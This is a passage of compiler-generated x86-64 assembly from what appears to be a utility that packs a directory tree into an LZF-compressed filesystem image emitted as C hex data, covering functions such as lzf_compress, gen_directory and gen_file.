call __stack_chk_fail@PLT
.L31:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE12:
.size append_tmpfile, .-append_tmpfile
.section .rodata
.LC16:
.string " 0x%02x,"
.text
.type dump_hexbuffer, @function
dump_hexbuffer:
.LFB13:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 48
mov QWORD PTR -24[rbp], rdi
mov QWORD PTR -32[rbp], rsi
mov DWORD PTR -36[rbp], edx
mov rax, QWORD PTR -32[rbp]
mov QWORD PTR -8[rbp], rax
jmp .L33
.L36:
mov eax, DWORD PTR g_nhex[rip]
test eax, eax
jne .L34
mov rax, QWORD PTR -24[rbp]
mov rsi, rax
mov edi, 32
call fputc@PLT
.L34:
mov rax, QWORD PTR -8[rbp]
lea rdx, 1[rax]
mov QWORD PTR -8[rbp], rdx
movzx eax, BYTE PTR [rax]
movzx edx, al
mov rax, QWORD PTR -24[rbp]
lea rsi, .LC16[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov eax, DWORD PTR g_nhex[rip]
add eax, 1
mov DWORD PTR g_nhex[rip], eax
mov eax, DWORD PTR g_nhex[rip]
cmp eax, 7
jbe .L35
mov rax, QWORD PTR -24[rbp]
mov rsi, rax
mov edi, 10
call fputc@PLT
mov DWORD PTR g_nhex[rip], 0
.L35:
sub DWORD PTR -36[rbp], 1
.L33:
cmp DWORD PTR -36[rbp], 0
jne .L36
nop
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE13:
.size dump_hexbuffer, .-dump_hexbuffer
.type dump_nextline, @function
dump_nextline:
.LFB14:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov QWORD PTR -8[rbp], rdi
mov eax, DWORD PTR g_nhex[rip]
test eax, eax
je .L39
mov rax, QWORD PTR -8[rbp]
mov rsi, rax
mov edi, 10
call fputc@PLT
mov DWORD PTR g_nhex[rip], 0
.L39:
nop
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE14:
.size dump_nextline, .-dump_nextline
.type lzf_compress, @function
lzf_compress:
.LFB15:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
add rsp, -128
mov QWORD PTR -104[rbp], rdi
mov DWORD PTR -108[rbp], esi
mov QWORD PTR -120[rbp], rdx
mov rax, QWORD PTR -104[rbp]
mov QWORD PTR -72[rbp], rax
mov rax, QWORD PTR -120[rbp]
add rax, 7
mov QWORD PTR -64[rbp], rax
mov edx, DWORD PTR -108[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rdx
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -64[rbp]
add rax, 512
mov QWORD PTR -32[rbp], rax
cmp DWORD PTR -108[rbp], 0
jne .L41
mov QWORD PTR -56[rbp], 0
jmp .L42
.L41:
mov edx, 65536
mov esi, 0
lea rdi, g_lzf_hashtab[rip]
call memset@PLT
mov DWORD PTR -84[rbp], 0
add QWORD PTR -64[rbp], 1
mov rax, QWORD PTR -72[rbp]
movzx eax, BYTE PTR [rax]
movzx eax, al
sal eax, 8
mov edx, eax
mov rax, QWORD PTR -72[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
movzx eax, al
or eax, edx
mov DWORD PTR -88[rbp], eax
jmp .L43
.L73:
mov eax, DWORD PTR -88[rbp]
sal eax, 8
mov edx, eax
mov rax, QWORD PTR -72[rbp]
add rax, 2
movzx eax, BYTE PTR [rax]
movzx eax, al
or eax, edx
mov DWORD PTR -88[rbp], eax
mov eax, DWORD PTR -88[rbp]
sal eax, 5
xor eax, DWORD PTR -88[rbp]
shr eax, 11
mov ecx, eax
mov edx, DWORD PTR -88[rbp]
mov eax, edx
sal eax, 2
add edx, eax
mov eax, ecx
sub eax, edx
and eax, 8191
mov eax, eax
lea rdx, 0[0+rax*8]
lea rax, g_lzf_hashtab[rip]
add rax, rdx
mov QWORD PTR -24[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov rax, QWORD PTR [rax]
mov QWORD PTR -16[rbp], rax
mov rax, QWORD PTR -24[rbp]
mov rdx, QWORD PTR -72[rbp]
mov QWORD PTR [rax], rdx
mov rax, QWORD PTR -16[rbp]
cmp rax, QWORD PTR -72[rbp]
jnb .L44
mov rax, QWORD PTR -72[rbp]
sub rax, QWORD PTR -16[rbp]
sub rax, 1
mov QWORD PTR -8[rbp], rax
cmp QWORD PTR -8[rbp], 8191
ja .L44
mov rax, QWORD PTR -16[rbp]
cmp rax, QWORD PTR -104[rbp]
jbe .L44
mov rax, QWORD PTR -16[rbp]
add rax, 2
movzx edx, BYTE PTR [rax]
mov rax, QWORD PTR -72[rbp]
add rax, 2
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L44
mov rax, QWORD PTR -16[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
movzx eax, al
sal eax, 8
mov edx, eax
mov rax, QWORD PTR -16[rbp]
movzx eax, BYTE PTR [rax]
movzx eax, al
or edx, eax
mov rax, QWORD PTR -72[rbp]
add rax, 1
movzx eax, BYTE PTR [rax]
movzx eax, al
sal eax, 8
mov ecx, eax
mov rax, QWORD PTR -72[rbp]
movzx eax, BYTE PTR [rax]
movzx eax, al
or eax, ecx
cmp edx, eax
jne .L44
mov DWORD PTR -80[rbp], 2
mov rax, QWORD PTR -40[rbp]
sub rax, QWORD PTR -72[rbp]
sub eax, DWORD PTR -80[rbp]
mov DWORD PTR -76[rbp], eax
mov eax, 264
cmp DWORD PTR -76[rbp], 264
cmovbe eax, DWORD PTR -76[rbp]
mov DWORD PTR -76[rbp], eax
mov rax, QWORD PTR -64[rbp]
add rax, 4
cmp QWORD PTR -32[rbp], rax
ja .L45
cmp DWORD PTR -84[rbp], 0
jne .L46
mov edx, 3
jmp .L47
.L46:
mov edx, 4
.L47:
mov rax, QWORD PTR -64[rbp]
add rax, rdx
cmp QWORD PTR -32[rbp], rax
ja .L45
mov QWORD PTR -56[rbp], 0
jmp .L42
.L45:
mov eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -84[rbp]
neg eax
cdqe
lea rcx, -1[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rcx
sub edx, 1
mov BYTE PTR [rax], dl
cmp DWORD PTR -84[rbp], 0
sete al
movzx eax, al
neg rax
add QWORD PTR -64[rbp], rax
cmp DWORD PTR -76[rbp], 16
jbe .L66
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L80
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L81
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L82
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L83
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L84
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L85
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L86
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L87
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L88
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L89
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L90
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L91
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L92
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L93
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L94
add DWORD PTR -80[rbp], 1
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
jne .L95
.L66:
add DWORD PTR -80[rbp], 1
mov eax, DWORD PTR -80[rbp]
cmp eax, DWORD PTR -76[rbp]
jnb .L96
mov edx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -16[rbp]
add rax, rdx
movzx edx, BYTE PTR [rax]
mov ecx, DWORD PTR -80[rbp]
mov rax, QWORD PTR -72[rbp]
add rax, rcx
movzx eax, BYTE PTR [rax]
cmp dl, al
je .L66
jmp .L96
.L80:
nop
jmp .L50
.L81:
nop
jmp .L50
.L82:
nop
jmp .L50
.L83:
nop
jmp .L50
.L84:
nop
jmp .L50
.L85:
nop
jmp .L50
.L86:
nop
jmp .L50
.L87:
nop
jmp .L50
.L88:
nop
jmp .L50
.L89:
nop
jmp .L50
.L90:
nop
jmp .L50
.L91:
nop
jmp .L50
.L92:
nop
jmp .L50
.L93:
nop
jmp .L50
.L94:
nop
jmp .L50
.L95:
nop
jmp .L50
.L96:
nop
.L50:
sub DWORD PTR -80[rbp], 2
add QWORD PTR -72[rbp], 1
cmp DWORD PTR -80[rbp], 6
ja .L67
mov rax, QWORD PTR -8[rbp]
shr rax, 8
mov esi, eax
mov eax, DWORD PTR -80[rbp]
sal eax, 5
mov ecx, eax
mov rax, QWORD PTR -64[rbp]
lea rdx, 1[rax]
mov QWORD PTR -64[rbp], rdx
lea edx, [rsi+rcx]
mov BYTE PTR [rax], dl
jmp .L68
.L67:
mov rax, QWORD PTR -8[rbp]
shr rax, 8
mov ecx, eax
mov rax, QWORD PTR -64[rbp]
lea rdx, 1[rax]
mov QWORD PTR -64[rbp], rdx
lea edx, -32[rcx]
mov BYTE PTR [rax], dl
mov eax, DWORD PTR -80[rbp]
mov ecx, eax
mov rax, QWORD PTR -64[rbp]
lea rdx, 1[rax]
mov QWORD PTR -64[rbp], rdx
lea edx, -7[rcx]
mov BYTE PTR [rax], dl
.L68:
mov rax, QWORD PTR -64[rbp]
lea rdx, 1[rax]
mov QWORD PTR -64[rbp], rdx
mov rdx, QWORD PTR -8[rbp]
mov BYTE PTR [rax], dl
mov DWORD PTR -84[rbp], 0
add QWORD PTR -64[rbp], 1
mov eax, DWORD PTR -80[rbp]
add eax, 1
mov eax, eax
add QWORD PTR -72[rbp], rax
mov rax, QWORD PTR -40[rbp]
sub rax, 2
cmp QWORD PTR -72[rbp], rax
jnb .L97
mov eax, DWORD PTR -80[rbp]
add eax, 1
mov eax, eax
neg rax
add QWORD PTR -72[rbp], rax
.L71:
mov eax, DWORD PTR -88[rbp]
sal eax, 8
mov edx, eax
mov rax, QWORD PTR -72[rbp]
add rax, 2
movzx eax, BYTE PTR [rax]
movzx eax, al
or eax, edx
mov DWORD PTR -88[rbp], eax
mov eax, DWORD PTR -88[rbp]
sal eax, 5
xor eax, DWORD PTR -88[rbp]
shr eax, 11
mov ecx, eax
mov edx, DWORD PTR -88[rbp]
mov eax, edx
sal eax, 2
add edx, eax
mov eax, ecx
sub eax, edx
and eax, 8191
mov eax, eax
lea rcx, 0[0+rax*8]
lea rdx, g_lzf_hashtab[rip]
mov rax, QWORD PTR -72[rbp]
mov QWORD PTR [rcx+rdx], rax
add QWORD PTR -72[rbp], 1
mov eax, DWORD PTR -80[rbp]
lea edx, -1[rax]
mov DWORD PTR -80[rbp], edx
test eax, eax
jne .L71
jmp .L43
.L44:
mov rax, QWORD PTR -64[rbp]
cmp rax, QWORD PTR -32[rbp]
jb .L72
mov QWORD PTR -56[rbp], 0
jmp .L42
.L72:
add DWORD PTR -84[rbp], 1
mov rdx, QWORD PTR -72[rbp]
lea rax, 1[rdx]
mov QWORD PTR -72[rbp], rax
mov rax, QWORD PTR -64[rbp]
lea rcx, 1[rax]
mov QWORD PTR -64[rbp], rcx
movzx edx, BYTE PTR [rdx]
mov BYTE PTR [rax], dl
cmp DWORD PTR -84[rbp], 32
jne .L43
mov eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -84[rbp]
neg eax
cdqe
lea rcx, -1[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rcx
sub edx, 1
mov BYTE PTR [rax], dl
mov DWORD PTR -84[rbp], 0
add QWORD PTR -64[rbp], 1
.L43:
mov rax, QWORD PTR -40[rbp]
sub rax, 2
cmp QWORD PTR -72[rbp], rax
jb .L73
jmp .L70
.L97:
nop
.L70:
mov rax, QWORD PTR -64[rbp]
add rax, 3
cmp QWORD PTR -32[rbp], rax
jnb .L75
mov QWORD PTR -56[rbp], 0
jmp .L42
.L76:
add DWORD PTR -84[rbp], 1
mov rdx, QWORD PTR -72[rbp]
lea rax, 1[rdx]
mov QWORD PTR -72[rbp], rax
mov rax, QWORD PTR -64[rbp]
lea rcx, 1[rax]
mov QWORD PTR -64[rbp], rcx
movzx edx, BYTE PTR [rdx]
mov BYTE PTR [rax], dl
cmp DWORD PTR -84[rbp], 32
jne .L75
mov eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -84[rbp]
neg eax
cdqe
lea rcx, -1[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rcx
sub edx, 1
mov BYTE PTR [rax], dl
mov DWORD PTR -84[rbp], 0
add QWORD PTR -64[rbp], 1
.L75:
mov rax, QWORD PTR -72[rbp]
cmp rax, QWORD PTR -40[rbp]
jb .L76
mov eax, DWORD PTR -84[rbp]
mov edx, eax
mov eax, DWORD PTR -84[rbp]
neg eax
cdqe
lea rcx, -1[rax]
mov rax, QWORD PTR -64[rbp]
add rax, rcx
sub edx, 1
mov BYTE PTR [rax], dl
cmp DWORD PTR -84[rbp], 0
sete al
movzx eax, al
neg rax
add QWORD PTR -64[rbp], rax
mov rax, QWORD PTR -120[rbp]
lea rdx, 7[rax]
mov rax, QWORD PTR -64[rbp]
sub rax, rdx
mov QWORD PTR -56[rbp], rax
.L42:
cmp QWORD PTR -56[rbp], 0
jle .L77
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR [rax], 90
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 1[rax], 86
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 2[rax], 1
mov rax, QWORD PTR -56[rbp]
sar rax, 8
mov edx, eax
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 3[rax], dl
mov rax, QWORD PTR -56[rbp]
mov edx, eax
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 4[rax], dl
mov eax, DWORD PTR -108[rbp]
shr eax, 8
mov edx, eax
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 5[rax], dl
mov eax, DWORD PTR -108[rbp]
mov edx, eax
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 6[rax], dl
mov rax, QWORD PTR -56[rbp]
add rax, 7
mov QWORD PTR -48[rbp], rax
jmp .L78
.L77:
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR [rax], 90
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 1[rax], 86
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 2[rax], 0
mov eax, DWORD PTR -108[rbp]
shr eax, 8
mov edx, eax
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 3[rax], dl
mov eax, DWORD PTR -108[rbp]
mov edx, eax
mov rax, QWORD PTR -120[rbp]
mov BYTE PTR 4[rax], dl
mov edx, DWORD PTR -108[rbp]
mov rax, QWORD PTR -120[rbp]
lea rcx, 5[rax]
mov rax, QWORD PTR -104[rbp]
mov rsi, rax
mov rdi, rcx
call memcpy@PLT
mov eax, DWORD PTR -108[rbp]
add eax, 5
mov eax, eax
mov QWORD PTR -48[rbp], rax
.L78:
mov rax, QWORD PTR -48[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE15:
.size lzf_compress, .-lzf_compress
.type get_mode, @function
get_mode:
.LFB16:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -20[rbp], edi
mov WORD PTR -2[rbp], 0
mov eax, DWORD PTR -20[rbp]
and eax, 1
test eax, eax
je .L99
or WORD PTR -2[rbp], 1
.L99:
mov eax, DWORD PTR -20[rbp]
and eax, 4
test eax, eax
je .L100
or WORD PTR -2[rbp], 4
.L100:
mov eax, DWORD PTR -20[rbp]
and eax, 8
test eax, eax
je .L101
or WORD PTR -2[rbp], 8
.L101:
mov eax, DWORD PTR -20[rbp]
and eax, 32
test eax, eax
je .L102
or WORD PTR -2[rbp], 32
.L102:
mov eax, DWORD PTR -20[rbp]
and eax, 64
test eax, eax
je .L103
or WORD PTR -2[rbp], 64
.L103:
mov eax, DWORD PTR -20[rbp]
and eax, 256
test eax, eax
je .L104
or WORD PTR -2[rbp], 256
.L104:
movzx eax, WORD PTR -2[rbp]
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE16:
.size get_mode, .-get_mode
.section .rodata
.align 8
.LC17:
.string "\n /* Offset %6lu: Hard link %s */\n\n"
.text
.type gen_dirlink, @function
gen_dirlink:
.LFB17:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 64
mov QWORD PTR -56[rbp], rdi
mov DWORD PTR -60[rbp], esi
mov eax, edx
mov BYTE PTR -64[rbp], al
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov rax, QWORD PTR -56[rbp]
mov rdi, rax
call strlen@PLT
add eax, 1
mov DWORD PTR -36[rbp], eax
mov eax, DWORD PTR g_offset[rip]
mov esi, eax
mov rax, QWORD PTR g_tmpstream[rip]
mov rdx, QWORD PTR -56[rbp]
mov rcx, rdx
mov rdx, rsi
lea rsi, .LC17[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov WORD PTR -32[rbp], -24211
mov WORD PTR -30[rbp], 0
mov eax, DWORD PTR g_offset[rip]
add eax, 20
mov DWORD PTR g_offset[rip], eax
mov eax, DWORD PTR g_offset[rip]
mov DWORD PTR -28[rbp], eax
mov DWORD PTR -24[rbp], 0
mov edx, DWORD PTR g_offset[rip]
mov eax, DWORD PTR -36[rbp]
add eax, edx
mov DWORD PTR g_offset[rip], eax
cmp BYTE PTR -64[rbp], 0
je .L107
mov eax, 0
jmp .L108
.L107:
mov eax, DWORD PTR g_offset[rip]
.L108:
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -60[rbp]
mov DWORD PTR -16[rbp], eax
mov rax, QWORD PTR g_tmpstream[rip]
lea rcx, -32[rbp]
mov edx, 20
mov rsi, rcx
mov rdi, rax
call dump_hexbuffer
mov edx, DWORD PTR -36[rbp]
mov rax, QWORD PTR g_tmpstream[rip]
mov rcx, QWORD PTR -56[rbp]
mov rsi, rcx
mov rdi, rax
call dump_hexbuffer
mov rax, QWORD PTR g_tmpstream[rip]
mov rdi, rax
call dump_nextline
mov eax, DWORD PTR g_nnodes[rip]
add eax, 1
mov DWORD PTR g_nnodes[rip], eax
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L109
call __stack_chk_fail@PLT
.L109:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE17:
.size gen_dirlink, .-gen_dirlink
.section .rodata
.LC18:
.string "."
.LC19:
.string ".."
.align 8
.LC20:
.string "\n /* Offset %6lu: Directory %s */\n\n"
.text
.type gen_directory, @function
gen_directory:
.LFB18:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov QWORD PTR -88[rbp], rdi
mov QWORD PTR -96[rbp], rsi
mov DWORD PTR -100[rbp], edx
mov eax, ecx
mov BYTE PTR -104[rbp], al
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov eax, DWORD PTR g_offset[rip]
mov DWORD PTR -68[rbp], eax
mov eax, DWORD PTR g_diroffset[rip]
mov DWORD PTR -64[rbp], eax
mov eax, DWORD PTR g_parent_offset[rip]
mov DWORD PTR -60[rbp], eax
mov rax, QWORD PTR g_tmpstream[rip]
mov QWORD PTR -48[rbp], rax
mov rax, QWORD PTR -96[rbp]
mov rdi, rax
call strlen@PLT
add eax, 1
mov DWORD PTR -56[rbp], eax
call open_tmpfile
mov QWORD PTR -40[rbp], rax
mov rax, QWORD PTR -40[rbp]
mov QWORD PTR g_tmpstream[rip], rax
mov edx, DWORD PTR g_offset[rip]
mov eax, DWORD PTR -56[rbp]
add eax, edx
add eax, 20
mov DWORD PTR g_offset[rip], eax
mov eax, DWORD PTR g_diroffset[rip]
mov DWORD PTR g_parent_offset[rip], eax
mov eax, DWORD PTR g_offset[rip]
mov DWORD PTR g_diroffset[rip], eax
mov rax, QWORD PTR -88[rbp]
mov edx, 0
lea rsi, dir_notempty[rip]
mov rdi, rax
call traverse_directory
mov DWORD PTR -52[rbp], eax
mov eax, DWORD PTR g_diroffset[rip]
mov edx, 0
mov esi, eax
lea rdi, .LC18[rip]
call gen_dirlink
cmp DWORD PTR -52[rbp], 0
sete al
movzx edx, al
mov eax, DWORD PTR g_parent_offset[rip]
mov esi, eax
lea rdi, .LC19[rip]
call gen_dirlink
cmp DWORD PTR -52[rbp], 0
je .L111
mov rax, QWORD PTR -88[rbp]
mov edx, 0
lea rsi, process_direntry[rip]
mov rdi, rax
call traverse_directory
.L111:
mov rax, QWORD PTR -48[rbp]
mov QWORD PTR g_tmpstream[rip], rax
mov eax, DWORD PTR -64[rbp]
mov DWORD PTR g_diroffset[rip], eax
mov eax, DWORD PTR -60[rbp]
mov DWORD PTR g_parent_offset[rip], eax
mov edx, DWORD PTR -68[rbp]
mov rax, QWORD PTR g_tmpstream[rip]
mov rcx, QWORD PTR -88[rbp]
lea rsi, .LC20[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov eax, DWORD PTR -100[rbp]
mov edi, eax
call get_mode
or ah, 64
mov WORD PTR -32[rbp], ax
mov WORD PTR -30[rbp], 0
add DWORD PTR -68[rbp], 20
mov eax, DWORD PTR -68[rbp]
mov DWORD PTR -28[rbp], eax
mov DWORD PTR -24[rbp], 0
mov eax, DWORD PTR -56[rbp]
add DWORD PTR -68[rbp], eax
cmp BYTE PTR -104[rbp], 0
je .L112
mov eax, 0
jmp .L113
.L112:
mov eax, DWORD PTR g_offset[rip]
.L113:
mov DWORD PTR -20[rbp], eax
mov eax, DWORD PTR -68[rbp]
mov DWORD PTR -16[rbp], eax
mov rax, QWORD PTR g_tmpstream[rip]
lea rcx, -32[rbp]
mov edx, 20
mov rsi, rcx
mov rdi, rax
call dump_hexbuffer
mov edx, DWORD PTR -56[rbp]
mov rax, QWORD PTR g_tmpstream[rip]
mov rcx, QWORD PTR -96[rbp]
mov rsi, rcx
mov rdi, rax
call dump_hexbuffer
mov rax, QWORD PTR g_tmpstream[rip]
mov rdi, rax
call dump_nextline
mov eax, DWORD PTR g_nnodes[rip]
add eax, 1
mov DWORD PTR g_nnodes[rip], eax
mov rax, QWORD PTR g_tmpstream[rip]
mov rdx, QWORD PTR -40[rbp]
mov rsi, rdx
mov rdi, rax
call append_tmpfile
nop
mov rax, QWORD PTR -8[rbp]
sub rax, QWORD PTR fs:40
je .L114
call __stack_chk_fail@PLT
.L114:
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE18:
.size gen_directory, .-gen_directory
.section .rodata
.LC21:
.string "r"
.align 8
.LC22:
.string "fopen for source file %s failed: %s\n"
.align 8
.LC23:
.string "\n /* Offset %6lu: Block %u blklen=%lu Uncompressed=%lu Compressed=%u */\n\n"
.align 8
.LC24:
.string "\n /* Offset %6lu: File %s: Uncompressed=%lu Compressed=%lu */\n\n"
.text
.type gen_file, @function
gen_file:
.LFB19:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 1216
mov QWORD PTR -1192[rbp], rdi
mov QWORD PTR -1200[rbp], rsi
mov DWORD PTR -1204[rbp], edx
mov eax, ecx
mov BYTE PTR -1208[rbp], al
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov eax, DWORD PTR g_offset[rip]
mov DWORD PTR -1168[rbp], eax
mov rax, QWORD PTR g_tmpstream[rip]
mov QWORD PTR -1144[rbp], rax
mov rax, QWORD PTR -1200[rbp]
mov rdi, rax
call strlen@PLT
add eax, 1
mov DWORD PTR -1164[rbp], eax
call open_tmpfile
mov QWORD PTR -1136[rbp], rax
mov rax, QWORD PTR -1136[rbp]
mov QWORD PTR g_tmpstream[rip], rax
mov edx, DWORD PTR -1164[rbp]
mov eax, DWORD PTR -1168[rbp]
add eax, edx
add eax, 20
mov DWORD PTR g_offset[rip], eax
mov rax, QWORD PTR -1192[rbp]
lea rsi, .LC21[rip]
mov rdi, rax
call fopen@PLT
mov QWORD PTR -1128[rbp], rax
cmp QWORD PTR -1128[rbp], 0
jne .L116
call __errno_location@PLT
mov eax, DWORD PTR [rax]
mov edi, eax
call strerror@PLT
mov rcx, rax
mov rax, QWORD PTR stderr[rip]
mov rdx, QWORD PTR -1192[rbp]
lea rsi, .LC22[rip]
mov rdi, rax
mov eax, 0
call fprintf@PLT
mov edi, 1
call exit@PLT
.L116:
mov DWORD PTR -1172[rbp], 0
mov QWORD PTR -1160[rbp], 0
mov QWORD PTR -1152[rbp], 0
.L120:
mov rdx, QWORD PTR -1128[rbp]
lea rax, -528[rbp]
mov rcx, rdx
mov edx, 512
mov esi, 1
mov rdi, rax
call fread@PLT
mov QWORD PTR -1120[rbp], rax
cmp QWORD PTR -1120[rbp], 0
je .L117
mov rax, QWORD PTR -1120[rbp]
mov ecx, eax
lea rdx, -1072[rbp]
lea rax, -528[rbp]
mov esi, ecx
mov rdi, rax
call lzf_compress
